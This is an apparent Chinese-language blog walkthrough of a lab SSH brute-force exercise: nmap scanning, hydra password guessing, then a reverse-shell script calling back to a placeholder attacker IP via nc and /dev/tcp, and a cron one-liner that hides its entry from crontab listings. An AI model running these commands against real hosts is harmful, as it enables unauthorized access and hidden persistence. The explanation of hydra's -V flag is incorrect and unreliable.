首页 > 其他分享 >模拟SSH爆破攻击

模拟SSH爆破攻击

时间:2023-08-21 15:47:38浏览次数:37  
标签:文件 shell 爆破 sh SSH 靶机 权限 模拟

第一步开启靶机的SSH服务

  开启步骤:

  1. 打开终端并以root用户身份登录 (第二步kali自带SSH服务器的可省略)
  2. 使用以下命令安装SSH服务器
    apt-get update
    apt-get install openssh-server
  3. 安装完成后。SSH服务将自动启动。可使用以下命令检查SSH服务的状态
    service ssh status

     显示0,说明没有开启SSH服务,使用以下命令启动SSH服务

    service ssh start

  4. 查看kali中22号端口(用于SSH服务)是否已经开启,需将root权限下输入以下命令
    netstat -tuln | grep 22

     看到以上输出说明22号端口已经开启并在监听状态

 

信息收集

使用攻击机扫描目标主机的端口

nmap 靶机ip地址

 

 发现开启22号端口,尝试爆破

爆破SSH

使用hydra进行爆破

hydra -L users.text -P password.txt -vV ssh://靶机ip地址

  • users.txt和password.txt为密码字典  
  • hydra是一款强大的密码破解工具,常用于暴力破解各种登录系统的凭据。
    -L选项指定用户名字典文件。
    -P选项指定密码字典文件。
    -v选项是hydra工具的详细模式选项,它会显示详细的输出,包括每个尝试的用户名和密码的结果。
    -V选项用于显示hydra工具的版本信息。
    ssh://靶机ip地址: 这部分指定了目标SSH服务器的地址。

  在kali linux系统中可使用 touch filename.txt 创建 .txt文件,使用 nano filename.txt 打开filename.txt文件并编辑,编辑完成Ctrl+O保存,然后按enter,Ctrl+X退出编辑

 通过枚举进行爆破,成功找到密码时字符颜变为绿色

 SSH登录

ssh 用户名@靶机ip地址

  • @表示登录在

 输入密码成功登录后变为

 成功进入后,在靶机上创建隐藏计划任务

尝试创建隐藏计划任务

创建shell反弹脚本:
  • 使用vim或nano文本编辑器创建一个新的文本文件reverse_shell.sh
    nano reverse_shell.sh
    vim reverse_shell.sh
  • 编写脚本代码:在文本编辑器中输入以下shell脚本代码,该代码用于创建shell连接
    #! /bin/bash
    nc 攻击机ip 攻击者端口 -e /bin/bash
    
    #!/bin/bash
    bash -i >& /dev/tcp/攻击者IP地址/攻击者端口 0>&1

     

创建完成后

查看文件操作权限

ls -l reverse_shell.sh

  •  rw-r--r--意味着root用户只有可读写该文件,其他用户只能读取该文件

     

使用命令调整操作权限

chmod +x reverse_shell.sh

  • chmod 命令更改文件权限。
    +x:此-x是chmod中的一个权限选项,用于添加文件的执行权限,-x用于移除文件的执行权限

     

执行上述命令后,变为所有用户都具有读、写和执行该文件的权限,而文件的所有者是root用户

 成功更改后在靶机上使用 ./reverse_shell.sh运行文件reverse_shell.sh,并在攻击机上另开一个终端使用命令 nc -lvp 端口号(反弹shell脚本中的端口号),监听成功会在终端如下图显示

创建定时任务:

为了维持权限,使用vim或nano文本编辑器创建定时任务task.sh

(crontab -l;printf "* * * * * /reverse_shell.sh;\rno crontw-wab for 'whoami' %100c\n") | crontab -

注意一定要查看文件操作权限,更改为所有用户都可读写的权限后,在靶机上运行该文件。

chmod +x task.sh  是使用命令调整文件操作权限

./task.sh  使用命令启动文件

成功启动文件后,在攻击机上开始监听

尝试nc连接靶机shell

nc -lvp 1229

 

标签:文件,shell,爆破,sh,SSH,靶机,权限,模拟
From: https://www.cnblogs.com/cheng-yicheng/p/17644856.html

相关文章

  • 使用JMeter模拟设备通过MQTT发送数据
    需求:需要一个工具能够支持MQTT协议发送各种不同的数据。目的:模拟小型温室设备反馈,搭建一个测试环境,根据测试的数据显示硬件的状态和数值。工具:JMeter环境:需要配置Java运行环境。操作步骤:1.下载JMeter运行包下载地址:https://jmeter.apache.org/download_jmeter.cgi,下载后可以解压......
  • 模拟集成电路设计系列博客——1.1.6 输出阻抗增强电流镜
    1.1.6输出阻抗增强电流镜另一种常用的Cascode电流镜的变种是输出阻抗增强电流镜,一种简单电路形式如下图所示:其基本思路是利用一个反馈放大器来尽可能地保证\(Q_2\)两端地漏源电压尽可能地稳定,而不需要考虑输出电压。添加了这个放大器后,理想上将Cascode电流镜地输出阻抗增大了1......
  • 《串口篇》实现模拟串口通信(未验证)
    实现串口通信参考链接:https://www.jb51.net/article/279177.htm新建项目出于简单考虑,首先创建一个Winform项目,本文项目名称为portTest。串口通信,至少有两个串口才能通信,所以拖动两个GroupBox,一左一右,里面分别放置一个Combobox、一个按钮,以及两个TextBox用于发送和接收内容,第二......
  • CSP-J 模拟赛 C 题讲解
    前言鸣谢:感谢LHT大佬的推荐、GCK大佬的提醒以及LBJ大佬帮我接龙。原题链接随手给大家扔一份吧。题目大意给你一个\(1\)到\(n\)的数列,当\(a_i<a_{i-1}\)的时候(大于号和小于号其实不用管,因为最后所有方案都会遍历到,对答案没有影响)放置一个红色灯笼,否则放置一个绿......
  • java脚本模拟服务器内存溢出实战&服务器部署java项目
    一、背景:使用javaspringboot,实现linux服务器内存溢出情况。二、方案1、打包成war包,可以直接将war包部署在tomcat容器里2、springboot,打包成jar包。打的jar包,内置了tomcat,所以在服务器上,直接启jar包就行,没有必要放在tomcat容器里部署,在启动jar包时,可以配置线程池等。这......
  • 模拟实现简单的list
    这篇博客主要是关于使用模板实现list的模拟。什么是list:list是一种序列式容器,可以在常数时间内在任意位置进行插入和删除操作,并且支持前后双向迭代。list的底层是双向链表结构,每个元素存储在独立的节点中,节点通过指针指向前一个元素和后一个元素。list与forward_list非常相似,最主......
  • NOIP模拟2总结
    NOIP模拟2总结目录NOIP模拟2总结整体上:个体上第一题:zerosEGOI2021day1t1第二题:lunaEGOI2021day1t2第三题:cowsEGOI2021day2t3第四题:lanternsEGOI整体上:T1非常简单,但是在简单的T2耗费了大量的时间用于证明,导致简单的T3题都没看就跳过,T4暴力没得分个体上第一题:zero......
  • Hadoop学习笔记、知识点搭建速过、包含Hadoop集群搭建、HDFS、IDE操作hadoop,DFSShell
    大数据概述......
  • CSP模拟26
    可做场,拜谢fengwu老师。A.Reversi(AGC031B)题目链接一眼切了设$dp_i$表示考虑到第$i$个石头的总方案数。可由两种情况转移,不选择染色和选择染色,不染色直接由$dp_{i-1}$转移过来,染色由上一个和当前颜色相同的的石头转移过来,相当于把两个石子之间的染色。因为一......
  • CSP模拟赛题解
    目录CSP模拟16T1:糖果CSP模拟17T1:弹珠游戏T2:晚会CSP模拟18T1:TheThirdLetterT2:InaoftheMountainCSP模拟19T1:StrangeFunctionT2:DZYLovesModificationCSP模拟21T1:[CEOI2016]kangarooT2:[JOI2023Final]Advertisement2T3:YourCSP模拟22T1:TheChildandToyCSP模拟16T1:......